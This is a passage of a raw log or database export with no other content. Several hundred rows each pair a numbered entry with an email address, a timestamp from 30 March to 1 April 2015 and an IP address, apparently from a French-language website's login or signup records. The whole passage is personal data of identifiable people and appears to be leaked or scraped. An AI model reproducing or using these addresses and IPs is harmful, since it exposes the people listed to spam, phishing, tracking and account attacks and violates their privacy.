07:28:37;80.218.39.28 +7984;nurdanorhn@gmail.com;2015-03-30 07:28:53;80.218.39.28 +7985;tony.christine@hotmail.fr;2015-03-30 07:50:25;109.20.110.99 +7986;emeline15g@aliceadsl.fr;2015-03-30 07:58:52;88.161.171.77 +7987;emeline15g@aliceadsl.fr;2015-03-30 07:58:57;88.161.171.77 +7988;nathalie.montois@hotmail.fr;2015-03-30 08:01:41;92.42.178.44 +7989;nadege.mazzoleni@sfr.fr;2015-03-30 08:15:43;77.152.77.109 +7990;new@garancia.com;2015-03-30 09:01:39;92.143.125.81 +7991;new@garancia.com;2015-03-30 09:02:12;92.143.125.81 +7992;fneuffer@bluewin.ch;2015-03-30 09:29:57;85.6.209.186 +7993;fneuffer@bluewin.ch;2015-03-30 09:30:14;85.6.209.186 +7994;fneuffer@bluewin.ch;2015-03-30 09:30:15;85.6.209.186 +7995;mpducasse@cbl-sa.lu;2015-03-30 09:33:11;88.207.201.5 +7996;mpducasse@cbl-sa.lu;2015-03-30 09:33:16;88.207.201.5 +7997;sgardeux@cc-vallee-doller.fr;2015-03-30 09:46:07;62.241.88.90 +7998;bureau-ot@tv-com.net;2015-03-30 09:46:21;62.241.88.90 +7999;gardeuxsabrina@gmail.com;2015-03-30 09:46:33;62.241.88.90 +8000;gardeuxsabrina@gmail.com;2015-03-30 09:46:38;62.241.88.90 +8001;gardeuxsabrina@gmail.com;2015-03-30 09:46:48;62.241.88.90 +8002;bureau-ot@tv-com.net;2015-03-30 09:47:00;62.241.88.90 +8003;sgardeux@cc-vallee-doller.fr;2015-03-30 09:47:12;62.241.88.90 +8004;gardeuxsabrina@gmail.com;2015-03-30 09:47:39;62.241.88.90 +8005;gardeuxsabrina@gmail.com;2015-03-30 09:47:47;62.241.88.90 +8006;gardeuxsabrina@gmail.com;2015-03-30 09:47:52;62.241.88.90 +8007;gardeuxsabrina@gmail.com;2015-03-30 09:50:48;62.241.88.90 +8008;gardeuxsabrina@gmail.com;2015-03-30 09:51:05;62.241.88.90 +8009;gardeuxsabrina@gmail.com;2015-03-30 09:51:05;62.241.88.90 +8010;gardeuxsabrina@gmail.com;2015-03-30 09:51:06;62.241.88.90 +8011;gardeuxsabrina@gmail.com;2015-03-30 09:51:18;62.241.88.90 +8012;gardeuxsabrina@gmail.com;2015-03-30 09:53:21;62.241.88.90 +8013;gardeuxsabrina@gmail.com;2015-03-30 09:54:10;62.241.88.90 +8014;gardeuxsabrina@gmail.com;2015-03-30 09:54:39;62.241.88.90 +8015;gardeuxsabrina@gmail.com;2015-03-30 09:54:40;62.241.88.90 +8016;veronique.lesbroussard@gmail.com;2015-03-30 10:06:51;90.57.178.102 +8017;phinemgodard@orange.fr;2015-03-30 10:11:02;90.19.212.151 +8018;corinne.ricci@hotmail.fr;2015-03-30 10:36:31;88.164.34.25 +8019;corinne.ricci@hotmail.fr;2015-03-30 10:36:34;88.164.34.25 +8020;corinne.ricci@hotmail.fr;2015-03-30 10:36:35;88.164.34.25 +8021;corinne.ricci@hotmail.fr;2015-03-30 10:36:35;88.164.34.25 +8022;corinne.ricci@hotmail.fr;2015-03-30 10:36:36;88.164.34.25 +8023;corinne.ricci@hotmail.fr;2015-03-30 10:36:38;88.164.34.25 +8024;corinne.ricci@hotmail.fr;2015-03-30 10:36:40;88.164.34.25 +8025;corinne.ricci@hotmail.fr;2015-03-30 10:36:42;88.164.34.25 +8026;corinne.ricci@hotmail.fr;2015-03-30 10:37:13;88.164.34.25 +8027;corinne.ricci@hotmail.fr;2015-03-30 10:37:25;88.164.34.25 +8028;audreylangoureau@hotmail.com;2015-03-30 10:48:08;86.204.158.207 +8029;soaresmanuela@hotmail.fr;2015-03-30 11:26:25;92.90.26.70 +8030;soaresmanuela@hotmail.fr;2015-03-30 11:27:04;92.90.26.70 +8031;soaresmanuela@hotmail.fr;2015-03-30 11:27:11;92.90.26.70 +8032;berthie@hotmail.com;2015-03-30 11:27:45;212.125.93.43 +8033;hosyc@aol.com;2015-03-30 11:37:50;93.29.43.50 +8034;hosyc@aol.com;2015-03-30 11:37:58;93.29.43.50 +8035;hosyc@aol.com;2015-03-30 11:38:19;93.29.43.50 +8036;hosyc@aol.com;2015-03-30 11:38:25;93.29.43.50 +8037;superchris13@hotmail.fr;2015-03-30 11:40:59;2.4.32.49 +8038;hosyc@aol.com;2015-03-30 11:41:10;93.29.43.50 +8039;marion.chazette@laposte.net;2015-03-30 12:20:34;88.142.251.145 +8040;marion.chazette@laposte.net;2015-03-30 12:20:45;88.142.251.145 +8041;marion.chazette@laposte.net;2015-03-30 12:20:49;88.142.251.145 +8042;brigitte.perry@orange.fr;2015-03-30 13:10:48;2.8.60.115 +8043;bonnetdanielle@hotmail.fr;2015-03-30 13:14:04;89.81.151.169 +8044;724727286@qq.com;2015-03-30 13:23:35;80.215.199.252 +8045;724727286@qq.com;2015-03-30 13:23:39;80.215.199.252 +8046;724727286@qq.com;2015-03-30 13:23:56;80.215.199.252 +8047;724727286@qq.com;2015-03-30 13:24:04;80.215.199.252 +8048;aprilz0418@126.com;2015-03-30 13:24:31;80.215.199.252 +8049;aprilz0418@126.com;2015-03-30 13:24:35;80.215.199.252 +8050;boussangemonia@yahoo.fr;2015-03-30 13:43:12;92.92.250.206 +8051;julianne@bluewin.ch;2015-03-30 13:43:49;92.107.141.60 +8052;Aurore-RDanseuse@hotmail.fr;2015-03-30 14:08:36;90.52.6.244 +8053;Aurore-RDanseuse@hotmail.fr;2015-03-30 14:08:50;90.52.6.244 +8054;lmarengo@hotmail.fr;2015-03-30 14:27:44;92.90.26.14 +8055;lmarengo@hotmail.fr;2015-03-30 14:27:49;92.90.26.14 +8056;dedieu.isabelle@gmail.com;2015-03-30 14:35:51;90.2.194.135 +8057;martin085@orange.fr;2015-03-30 14:50:55;2.0.82.64 +8058;nanouatlanta@yahoo.com;2015-03-30 14:58:06;194.98.114.101 +8059;fannyverdier@sfr.fr;2015-03-30 15:03:48;195.6.31.176 +8060;fannyverdier@sfr.fr;2015-03-30 15:03:53;195.6.31.176 +8061;nanouatlanta@yahoo.com;2015-03-30 15:08:07;194.98.114.101 +8062;gougeletc@hotmail.com;2015-03-30 15:08:58;62.193.39.231 +8063;solenechatry@yahoo.fr;2015-03-30 15:13:15;88.185.168.214 +8064;nina_amp@hotmail.com;2015-03-30 15:17:31;109.0.145.148 +8065;kliger@me.com;2015-03-30 15:20:38;90.43.201.72 +8066;bienfait-severine0@bbox.fr;2015-03-30 15:26:55;176.187.147.27 +8067;vanfleterenviaene@telenet.be;2015-03-30 15:37:14;178.117.147.220 +8068;lannoo.mireille@hotmail.com;2015-03-30 15:38:01;178.119.224.23 +8069;nanouatlanta@yahoo.com;2015-03-30 15:38:08;194.98.114.101 +8070;nanouatlanta@yahoo.com;2015-03-30 15:38:22;194.98.114.101 +8071;nathalie.lechevalier@yahoo.com;2015-03-30 15:38:46;217.108.5.35 +8072;familledieterlen@free.fr;2015-03-30 15:43:24;78.219.98.36 +8073;ehrharda@gmail.com;2015-03-30 16:05:46;86.195.219.81 +8074;phie.mijoinrion@perso.alliadis.net;2015-03-30 16:13:25;194.126.236.216 +8075;papadia.cp@wanadoo.fr;2015-03-30 16:18:51;90.1.116.49 +8076;cindy.favre.victoire@gmail.com;2015-03-30 16:23:45;90.27.50.245 +8077;cindy.favre.victoire@gmail.com;2015-03-30 16:23:53;90.27.50.245 +8078;stephanie.champeymont@live.fr;2015-03-30 16:42:17;79.83.107.237 +8079;pharmacienipiossian@perso.alliadis.net;2015-03-30 16:44:05;194.126.236.218 +8080;annick.nipiossian@yahoo.com;2015-03-30 16:44:56;194.126.236.218 +8081;pharmacienipiossian@perso.alliadis.net;2015-03-30 16:48:27;194.5.134.179 +8082;pharmacienipiossian@perso.alliadis.net;2015-03-30 16:49:10;194.5.134.179 +8083;sylvie.vieu@wanadoo.fr;2015-03-30 17:08:30;193.248.212.178 +8084;sylvie.vieu@wanadoo.fr;2015-03-30 17:08:33;193.248.212.178 +8085;sylvie.vieu@wanadoo.fr;2015-03-30 17:08:35;193.248.212.178 +8086;sylvie.vieu@wanadoo.fr;2015-03-30 17:08:41;193.248.212.178 +8087;beatrice.frevent70@gmail.com;2015-03-30 17:10:47;90.47.103.30 +8088;pharmaciedu8mai@offisecure.com;2015-03-30 17:11:05;194.8.148.35 +8089;sylvlock@msn.com;2015-03-30 17:29:27;82.240.41.221 +8090;lioneldubuc@sfr.fr;2015-03-30 17:32:57;88.141.157.20 +8091;lioneldubuc@sfr.fr;2015-03-30 17:33:12;88.141.157.20 +8092;lioneldubuc@sfr.fr;2015-03-30 17:33:31;88.141.157.20 +8093;lioneldubuc@sfr.fr;2015-03-30 17:40:01;88.141.157.20 +8094;lioneldubuc@sfr.fr;2015-03-30 17:40:12;88.141.157.20 +8095;aur_mari@hotmail.com;2015-03-30 17:40:14;78.194.34.139 +8096;gilberte.bricout79@orange.fr;2015-03-30 17:47:24;86.221.92.118 +8097;gilberte.bricout79@orange.fr;2015-03-30 17:47:29;86.221.92.118 +8098;annie.binse@yahoo.fr;2015-03-30 18:01:44;86.211.133.65 +8099;new@garancia.com;2015-03-30 18:26:22;176.188.18.222 +8100;new@garancia.com;2015-03-30 18:34:32;176.127.162.129 +8101;new@garancia.com;2015-03-30 18:34:35;176.127.162.129 +8102;new@garancia.com;2015-03-30 18:34:36;176.127.162.129 +8103;new@garancia.com;2015-03-30 18:34:37;176.127.162.129 +8104;new@garancia.com;2015-03-30 18:34:41;176.127.162.129 +8105;kaouette11@orange.fr;2015-03-30 18:47:26;90.57.222.167 +8106;laclo.gatte@gmail.com;2015-03-30 19:03:06;213.169.190.188 +8107;ba.gester@hotmail.fr;2015-03-30 19:08:46;86.197.165.45 +8108;new@garancia.com;2015-03-30 19:25:09;176.127.162.129 +8109;new@garancia.com;2015-03-30 19:25:14;176.127.162.129 +8110;new@garancia.com;2015-03-30 19:25:16;176.127.162.129 +8111;new@garancia.com;2015-03-30 19:25:17;176.127.162.129 +8112;new@garancia.com;2015-03-30 19:25:18;176.127.162.129 +8113;new@garancia.com;2015-03-30 19:25:18;176.127.162.129 +8114;new@garancia.com;2015-03-30 19:25:19;176.127.162.129 +8115;new@garancia.com;2015-03-30 19:25:20;176.127.162.129 +8116;new@garancia.com;2015-03-30 19:25:20;176.127.162.129 +8117;new@garancia.com;2015-03-30 19:25:23;176.127.162.129 +8118;new@garancia.com;2015-03-30 19:25:25;176.127.162.129 +8119;new@garancia.com;2015-03-30 19:25:26;176.127.162.129 +8120;new@garancia.com;2015-03-30 19:25:27;176.127.162.129 +8121;sylviane.zufferey@gmail.com;2015-03-30 19:27:03;176.127.162.129 +8122;new@garancia.com;2015-03-30 19:27:07;176.127.162.129 +8123;new@garancia.com;2015-03-30 19:27:50;176.127.162.129 +8124;stephanienenninger@yahoo.fr;2015-03-30 20:20:55;78.239.41.21 +8125;stephanienenninger@yahoo.fr;2015-03-30 20:21:09;78.239.41.21 +8126;dadnacht@gmail.com;2015-03-30 20:49:47;90.40.151.68 +8127;dadnacht@gmail.com;2015-03-30 20:50:04;90.40.151.68 +8128;cecile.carrier@neuf.fr;2015-03-30 20:51:24;79.94.13.12 +8129;dadnacht@gmail.com;2015-03-30 20:52:36;90.40.151.68 +8130;dadnacht@gmail.com;2015-03-30 20:52:48;90.40.151.68 +8131;luciepellegatta@wanadoo.Fr;2015-03-30 21:04:33;92.90.21.85 +8132;glassier.bs@bbox.fr;2015-03-30 21:13:08;62.35.162.159 +8133;carine.normant@free.fr;2015-03-30 21:18:51;92.90.16.44 +8134;carine.normant@free.fr;2015-03-30 21:18:55;92.90.16.44 +8135;franca59310@gmail.com;2015-03-30 21:22:52;88.166.163.239 +8136;1@2.com;2015-03-30 21:58:51;78.22.202.216 +8137;kiss_jess@hotmail.com;2015-03-30 22:41:35;83.79.33.74 +8138;kiss_jess@hotmail.com;2015-03-30 22:41:40;83.79.33.74 +8139;kiss_jess@hotmail.com;2015-03-30 22:41:41;83.79.33.74 +8140;kiss_jess@hotmail.com;2015-03-30 22:41:47;83.79.33.74 +8141;kiss_jess@hotmail.com;2015-03-30 22:41:51;83.79.33.74 +8142;kiss_jess@hotmail.com;2015-03-30 22:41:53;83.79.33.74 +8143;kiss_jess@hotmail.com;2015-03-30 22:41:55;83.79.33.74 +8144;kiss_jess@hotmail.com;2015-03-30 22:41:56;83.79.33.74 +8145;kiss_jess@hotmail.com;2015-03-30 22:42:00;83.79.33.74 +8146;dessousleglise.j@hotmail.fr;2015-03-30 22:42:22;83.79.33.74 +8147;dessousleglise.j@hotmail.fr;2015-03-30 22:42:23;83.79.33.74 +8148;dessousleglise.j@hotmail.fr;2015-03-30 22:42:25;83.79.33.74 +8149;dessousleglise.j@hotmail.fr;2015-03-30 22:42:33;83.79.33.74 +8150;g.verpillot@orange.fr;2015-03-30 23:00:36;2.3.249.119 +8151;g.verpillot@orange.fr;2015-03-30 23:00:39;2.3.249.119 +8152;g.verpillot@orange.fr;2015-03-30 23:00:58;2.3.249.119 +8153;g.verpillot@orange.fr;2015-03-30 23:01:32;2.3.249.119 +8154;g.verpillot@orange.fr;2015-03-30 23:01:47;2.3.249.119 +8155;new@garancia.com;2015-03-30 23:02:12;176.127.162.129 +8156;new@garancia.com;2015-03-30 23:02:18;176.127.162.129 +8157;new@garancia.com;2015-03-30 23:02:25;176.127.162.129 +8158;g.verpillot@orange.fr;2015-03-30 23:02:43;2.3.249.119 +8159;new@garancia.com;2015-03-30 23:17:38;83.76.122.248 +8160;new@garancia.com;2015-03-30 23:17:42;83.76.122.248 +8161;blandinfamilly2014@gmail.com;2015-03-30 23:19:05;82.64.195.208 +8162;monsonje@cegetel.net;2015-03-30 23:23:24;77.203.84.195 +8163;monsonje@cegetel.net;2015-03-30 23:23:29;77.203.84.195 +8164;monsonje@cegetel.net;2015-03-30 23:24:04;77.203.84.195 +8165;dheilly.agnes@gmail.com;2015-03-30 23:36:33;109.28.22.83 +8166;dheilly.agnes@gmail.com;2015-03-30 23:36:39;109.28.22.83 +8167;dheilly.agnes@gmail.com;2015-03-30 23:36:55;109.28.22.83 +8168;richma.d@live.ca;2015-03-31 00:33:44;92.153.50.199 +8169;richma.d@live.ca;2015-03-31 00:33:47;92.153.50.199 +8170;bsqbsx@gmail.com;2015-03-31 00:46:17;80.12.55.150 +8171;bsqbsx@gmail.com;2015-03-31 00:46:22;80.12.55.150 +8172;deadygirl@hotmail.com;2015-03-31 01:07:52;86.192.59.88 +8173;deadygirl@hotmail.com;2015-03-31 01:07:56;86.192.59.88 +8174;deadygirl@hotmail.com;2015-03-31 01:07:59;86.192.59.88 +8175;deadygirl@hotmail.com;2015-03-31 01:08:07;86.192.59.88 +8176;lucas.s5914@gmail.com;2015-03-31 01:08:21;86.192.59.88 +8177;lucas.s5914@gmail.com;2015-03-31 01:08:43;86.192.59.88 +8178;celine_dubois78@yahoo.fr;2015-03-31 01:14:18;109.210.172.24 +8179;celine_dubois78@yahoo.fr;2015-03-31 01:14:22;109.210.172.24 +8180;choubounou75@gmail.com;2015-03-31 01:17:55;109.218.197.73 +8181;choubounou75@gmail.com;2015-03-31 01:18:00;109.218.197.73 +8182;caullataille@hotmail.fr;2015-03-31 01:18:11;109.218.197.73 +8183;ferlay_emilie@hotmail.fr;2015-03-31 01:18:42;82.235.93.201 +8184;ferlay_emilie@hotmail.fr;2015-03-31 01:18:48;82.235.93.201 +8185;ferlay_emilie@hotmail.fr;2015-03-31 01:19:03;82.235.93.201 +8186;ferlay_emilie@hotmail.fr;2015-03-31 01:19:18;82.235.93.201 +8187;ferlay_emilie@hotmail.fr;2015-03-31 01:19:20;82.235.93.201 +8188;hangeli@free.fr;2015-03-31 01:34:39;78.192.201.83 +8189;hangeli@free.fr;2015-03-31 01:34:49;78.192.201.83 +8190;gaara_lille@hotmail.fr;2015-03-31 05:22:09;217.19.202.94 +8191;esther.ragni@hotmail.com;2015-03-31 07:53:52;178.198.156.69 +8192;henriette.ghizzo@orange.fr;2015-03-31 08:42:38;86.220.4.47 +8193;laptitefolle2127@hotmail.com;2015-03-31 08:51:51;92.90.20.39 +8194;emmanudel@yopmail.com;2015-03-31 09:40:36;80.15.166.38 +8195;faret.christophe@orange.fr;2015-03-31 09:51:04;90.44.176.232 +8196;camille.bianchi13@gmail.com;2015-03-31 10:26:26;84.98.253.42 +8197;g.remondi@orange.fr;2015-03-31 10:29:31;86.203.131.9 +8198;g.remondi@orange.fr;2015-03-31 10:29:41;86.203.131.9 +8199;g.remondi@orange.fr;2015-03-31 10:31:20;86.203.131.9 +8200;marieannerobveille@orange.fr;2015-03-31 10:42:55;92.129.137.52 +8201;marieannerobveille@orange.fr;2015-03-31 10:43:09;92.129.137.52 +8202;marieannerobveille@orange.fr;2015-03-31 10:43:31;92.129.137.52 +8203;vanessabatillat@hotmail.fr;2015-03-31 10:44:40;93.25.120.188 +8204;vanessabatillat@hotmail.fr;2015-03-31 10:44:49;93.25.120.188 +8205;vanessabatillat@hotmail.fr;2015-03-31 10:45:00;93.25.120.188 +8206;Fgubernati@gmail.com;2015-03-31 10:51:44;80.215.197.210 +8207;amel-92@hotmail.fr;2015-03-31 11:28:14;81.57.119.171 +8208;brigitte.s.larose@wanadoo.fr;2015-03-31 11:37:31;92.147.19.253 +8209;pruvot.pascale@gmail.com;2015-03-31 11:49:00;88.172.233.33 +8210;klesenechal@gmail.com;2015-03-31 11:55:30;83.115.245.160 +8211;josette.delsale@sfr.fr;2015-03-31 11:55:35;78.112.101.70 +8212;stephane.bathilde@yahoo.fr;2015-03-31 12:37:30;92.90.26.95 +8213;stephane.bathilde@yahoo.fr;2015-03-31 12:37:47;92.90.26.95 +8214;stephane.bathilde@yahoo.fr;2015-03-31 12:37:53;92.90.26.95 +8215;stephane.bathilde@yahoo.fr;2015-03-31 12:38:17;92.90.26.95 +8216;evelynehenaff@yahoo.fr;2015-03-31 12:45:22;90.85.86.77 +8217;karine.ginestet@voila.fr;2015-03-31 13:13:27;217.128.9.30 +8218;maryline.aubert@club-internet.fr;2015-03-31 13:19:59;109.223.60.122 +8219;julie.diabira@gmail.com;2015-03-31 13:46:28;41.189.45.51 +8220;valou8365@gmail.com;2015-03-31 13:54:48;78.232.67.52 +8221;valou8365@gmail.com;2015-03-31 13:55:10;78.232.67.52 +8222;valou8365@gmail.com;2015-03-31 13:55:14;78.232.67.52 +8223;valou8365@gmail.com;2015-03-31 13:55:22;78.232.67.52 +8224;new@garancia.com;2015-03-31 13:56:13;78.232.67.52 +8225;new@garancia.com;2015-03-31 13:56:18;78.232.67.52 +8226;new@garancia.com;2015-03-31 13:56:22;78.232.67.52 +8227;dfoiret64@gmail.com;2015-03-31 13:59:19;90.41.9.163 +8228;pharmaciecreteur@yahoo.fr;2015-03-31 14:07:19;193.252.181.159 +8229;pharmaciecreteur@yahoo.fr;2015-03-31 14:07:20;193.252.181.159 +8230;pharmaciecreteur@yahoo.fr;2015-03-31 14:07:54;193.252.181.159 +8231;pharmaciecreteur@yahoo.fr;2015-03-31 14:08:05;193.252.181.159 +8232;pharmaciecreteur@yahoo.fr;2015-03-31 14:08:13;193.252.181.159 +8233;pharmaciecreteur@yahoo.fr;2015-03-31 14:08:37;193.252.181.159 +8234;pharmaciecreteur@yahoo.fr;2015-03-31 14:09:09;193.252.181.159 +8235;chloe.denislalouette@gmail.com;2015-03-31 14:12:48;88.168.84.181 +8236;chloe.denislalouette@gmail.com;2015-03-31 14:29:55;88.168.84.181 +8237;chloe.denislalouette@gmail.com;2015-03-31 14:34:20;88.168.84.181 +8238;chloe.denislalouette@gmail.com;2015-03-31 14:34:27;88.168.84.181 +8239;pharmaciedesharas@offisecure.com;2015-03-31 14:41:35;194.8.148.13 +8240;christiane.brenot@wanadoo.fr;2015-03-31 15:10:05;109.211.92.233 +8241;valaigle@laposte.net;2015-03-31 15:17:38;78.240.51.54 +8242;valaigle@laposte.net;2015-03-31 15:18:06;78.240.51.54 +8243;christiane.brenot@wanadoo.fr;2015-03-31 15:18:09;109.211.92.233 +8244;lilirivalan@hotmail.fr;2015-03-31 15:23:37;77.131.9.18 +8245;new@garancia.com;2015-03-31 15:28:47;88.120.248.124 +8246;new@garancia.com;2015-03-31 15:28:50;88.120.248.124 +8247;new@garancia.com;2015-03-31 15:29:08;88.120.248.124 +8248;new@garancia.com;2015-03-31 15:29:13;88.120.248.124 +8249;new@garancia.com;2015-03-31 15:29:18;88.120.248.124 +8250;new@garancia.com;2015-03-31 15:29:21;88.120.248.124 +8251;new@garancia.com;2015-03-31 15:30:04;88.120.248.124 +8252;dawne.leturcq@gmail.com;2015-03-31 15:30:20;109.219.124.119 +8253;christiane.brenot@wanadoo.fr;2015-03-31 15:44:15;109.211.92.233 +8254;christiane.brenot@wanadoo.fr;2015-03-31 15:46:04;109.211.92.233 +8255;christiane.brenot@wanadoo.fr;2015-03-31 15:47:01;109.211.92.233 +8256;christiane.brenot@wanadoo.fr;2015-03-31 15:47:39;109.211.92.233 +8257;sandra.antonini@laposte.net;2015-03-31 15:51:37;90.55.166.117 +8258;christiane.brenot@wanadoo.fr;2015-03-31 15:51:41;109.211.92.233 +8259;christiane.brenot@wanadoo.fr;2015-03-31 16:01:19;109.211.92.233 +8260;christiane.brenot@wanadoo.fr;2015-03-31 16:01:36;109.211.92.233 +8261;christiane.brenot@wanadoo.fr;2015-03-31 16:03:11;109.211.92.233 +8262;gaelcarbuccia@orange.fr;2015-03-31 16:09:25;92.153.0.203 +8263;gaelcarbuccia@orange.fr;2015-03-31 16:09:41;92.153.0.203 +8264;anne-marie.boueilh@orange.fr;2015-03-31 16:33:06;83.202.54.48 +8265;anne-marie.boueilh@orange.fr;2015-03-31 16:33:09;83.202.54.48 +8266;anne-marie.boueilh@orange.fr;2015-03-31 16:33:18;83.202.54.48 +8267;anne-marie.boueilh@orange.fr;2015-03-31 16:33:19;83.202.54.48 +8268;anne-marie.boueilh@orange.fr;2015-03-31 16:33:39;83.202.54.48 +8269;france.millot@gmail.com;2015-03-31 16:37:16;78.237.120.160 +8270;new@garancia.com;2015-03-31 16:47:36;37.160.200.56 +8271;new@garancia.com;2015-03-31 16:47:39;37.160.200.56 +8272;new@garancia.com;2015-03-31 16:47:41;37.160.200.56 +8273;new@garancia.com;2015-03-31 16:47:42;37.160.200.56 +8274;bichard.agnes@neuf.fr;2015-03-31 17:00:25;79.83.41.224 +8275;tatananouvirginie@gmail.com;2015-03-31 17:09:09;62.35.226.161 +8276;nacnud@free.fr;2015-03-31 17:12:57;78.246.250.115 +8277;max.dm@wanadoo.fr;2015-03-31 17:16:41;92.129.86.70 +8278;petiot.louisette@wanadoo.fr;2015-03-31 17:23:57;86.212.120.47 +8279;lepre.bibiche@wanadoo.fr;2015-03-31 17:25:11;81.49.245.10 +8280;pisenenadia@gmail.com;2015-03-31 17:41:12;82.255.86.26 +8281;pisenenadia@gmail.com;2015-03-31 17:44:23;82.255.86.26 +8282;pisenenadia@gmail.com;2015-03-31 17:44:23;82.255.86.26 +8283;france.froufrou@laposte.net;2015-03-31 17:49:32;83.114.147.63 +8284;roussaud.nathalie@orange.fr;2015-03-31 18:04:33;92.162.250.218 +8285;fred.glachant@orange.fr;2015-03-31 18:08:45;89.225.240.202 +8286;eboisson@live.fr;2015-03-31 18:24:15;2.6.186.215 +8287;claude.jacopin@orange.fr;2015-03-31 18:43:57;90.48.33.134 +8288;alexie.lavandier@gmail.com;2015-03-31 19:03:34;78.238.118.64 +8289;alexie.lavandier@gmail.com;2015-03-31 19:03:35;78.238.118.64 +8290;regis.brunet0434@orange.fr;2015-03-31 19:15:34;81.49.107.31 +8291;hardy-p@orange.fr;2015-03-31 19:50:21;92.135.135.50 +8292;sophie90700@hotmail.fr;2015-03-31 20:09:32;83.196.97.13 +8293;shinzelin@estvideo.fr;2015-03-31 20:38:19;85.169.236.149 +8294;alyette.martin@orange.fr;2015-03-31 21:15:49;90.23.33.211 +8295;alyette.martin@orange.fr;2015-03-31 21:15:54;90.23.33.211 +8296;kterine6633@sfr.fr;2015-03-31 21:41:20;90.38.12.175 +8297;edwige.benoit0014@oorange.fr;2015-03-31 22:01:21;109.218.143.180 +8298;jeanmicheletmarina@gmail.com;2015-03-31 22:14:41;62.35.174.208 +8299;so-pink-7@hotmail.com;2015-03-31 22:40:53;78.129.84.149 +8300;evelyne.filaire@hotmail.fr;2015-04-01 07:46:13;80.9.140.75 +8301;jacqueline.chevalier-irsch@wanadoo.fr;2015-04-01 08:10:00;110.77.155.87 +8302;yvettecatelain@yahoo.fr;2015-04-01 08:35:26;89.92.77.225 +8303;vrubiobonnard@hotmail.fr;2015-04-01 09:06:22;88.164.154.24 +8304;emeline.burdese@gmail.com;2015-04-01 09:09:53;88.138.152.152 +8305;emeline.burdese@gmail.com;2015-04-01 09:09:53;88.138.152.152 +8306;catherine.deuxbip@orange.fr;2015-04-01 09:23:08;90.12.90.124 +8307;bea.troce@wanadoo.fr;2015-04-01 09:43:51;89.2.154.190 +8308;beck.olivia@hotmail.fr;2015-04-01 09:48:09;83.205.144.222 +8309;beck.olivia@hotmail.fr;2015-04-01 09:48:10;83.205.144.222 +8310;beck.olivia@hotmail.fr;2015-04-01 09:48:11;83.205.144.222 +8311;beck.olivia@hotmail.fr;2015-04-01 09:48:23;83.205.144.222 +8312;info@median-conseil.com;2015-04-01 09:48:33;83.205.144.222 +8313;info@median-conseil.com;2015-04-01 09:48:33;83.205.144.222 +8314;anniedoat@aliceadsl.fr;2015-04-01 09:52:40;78.229.69.171 +8315;mich.grare@laposte.net;2015-04-01 09:53:46;83.153.218.76 +8316;cecilemartet@wanadoo.fr;2015-04-01 10:42:54;90.44.112.125 +8317;cecilemartet@wanadoo.fr;2015-04-01 10:42:56;90.44.112.125 +8318;cecilemartet@wanadoo.fr;2015-04-01 10:43:01;90.44.112.125 +8319;chantal.boutet9@orange.fr;2015-04-01 10:52:30;92.144.247.45 +8320;chantal.boutet9@orange.fr;2015-04-01 10:54:59;92.144.247.45 +8321;chantal.boutet9@orange.fr;2015-04-01 10:55:02;92.144.247.45 +8322;damien.pors@orange.fr;2015-04-01 10:55:51;92.142.98.180 +8323;chantal.boutet9@orange.fr;2015-04-01 10:56:41;92.144.247.45 +8324;damien.pors@orange.fr;2015-04-01 10:57:00;92.142.98.180 +8325;damien.pors@orange.fr;2015-04-01 10:57:12;92.142.98.180 +8326;damien.pors@orange.fr;2015-04-01 10:57:15;92.142.98.180 +8327;berthelot.cindy@yahoo.fr;2015-04-01 11:01:45;163.5.233.114 +8328;berthelot.cindy@yahoo.fr;2015-04-01 11:01:47;163.5.233.114 +8329;aiti3@hotmail.com;2015-04-01 11:22:18;193.251.35.181 +8330;aiti3@hotmail.com;2015-04-01 11:22:18;193.251.35.181 +8331;lucastitou@hotmail.fr;2015-04-01 11:24:13;78.230.36.128 +8332;alyette.martin@orange.fr;2015-04-01 11:30:32;90.23.33.211 +8333;nat.neuville@wanadoo.fr;2015-04-01 11:32:10;95.140.6.234 +8334;nat.neuville@wanadoo.fr;2015-04-01 11:32:17;95.140.6.234 +8335;f.vidal3@laposte.net;2015-04-01 11:41:43;46.218.136.5 +8336;f.vidal3@laposte.net;2015-04-01 11:41:47;46.218.136.5 +8337;urgande@hotmail.fr;2015-04-01 12:27:02;193.58.223.72 +8338;vero-6@outlook.fr;2015-04-01 12:37:26;62.244.73.210 +8339;t1@antadis.com;2015-04-01 12:51:12;46.165.223.217 +8340;lulu@imperatif-passion.com;2015-04-01 13:13:04;77.134.66.214 +8341;nath.lepy@free.fr;2015-04-01 13:14:07;217.109.4.89 +8342;cvarnizy@hotmail.com;2015-04-01 13:26:17;82.229.243.21 +8343;mross@hotmail.com;2015-04-01 13:32:55;195.132.193.186 +8344;alineclaire@orange.fr;2015-04-01 14:38:21;92.129.141.199 +8345;tatiana.j@wanadoo.fr;2015-04-01 14:55:27;195.101.137.127 +8346;voixparalleles@wanadoo.fr;2015-04-01 15:36:42;90.37.169.204 +8347;sophie.benoist@cbre.fr;2015-04-01 15:55:46;62.23.99.2 +8348;beatrice.reuge@orange.fr;2015-04-01 16:12:34;83.196.60.231 +8349;sandrine290989@hotmail.fr;2015-04-01 16:23:52;92.148.252.153 +8350;chrisgien@free.fr;2015-04-01 16:27:35;93.25.72.113 +8351;lebrun_linda8@hotmail.com;2015-04-01 16:42:15;178.119.91.160 +8352;adanys92@free.fr;2015-04-01 16:56:48;82.225.254.8 +8353;sandrine@crispel.fr;2015-04-01 17:09:47;176.183.215.130 +8354;nadjushav@gmail.com;2015-04-01 17:28:23;89.88.112.74 +8355;luciefardet@free.fr;2015-04-01 18:52:37;5.50.160.5 +8356;anaisroux@hotmail.fr;2015-04-01 18:59:18;82.66.145.126 +8357;garny@wanadoo.fr;2015-04-01 19:20:50;86.205.16.140 +8358;laurianebertet@voila.fr;2015-04-01 19:41:23;86.199.118.185 +8359;itsme_kiko@hotmail.my;2015-04-01 20:39:16;78.125.204.89 +8360;michel.poncet412@orange.fr;2015-04-01 20:57:18;80.9.56.66 +8361;nassimart@hotmail.fr;2015-04-01 20:59:51;105.188.21.123 +8362;b.melanie24@voila.fr;2015-04-01 21:27:35;83.192.210.42 +8363;nathalie.brement@laposte.net;2015-04-01 21:37:12;109.29.48.194 +8364;marie.jalouneix@gmail.com;2015-04-01 22:03:37;92.142.42.43 +8365;noel.elisa@free.fr;2015-04-01 22:15:13;78.202.16.32 +8366;christine.spa31@gmail.com;2015-04-01 22:25:00;77.193.111.154 +8367;alex.hussenet@live.fr;2015-04-01 22:38:15;92.134.33.239 +8368;celia46@ymail.com;2015-04-01 23:13:09;82.231.74.120 +8369;malduca.jean@wanadoo.fr;2015-04-01 23:55:18;92.130.64.239 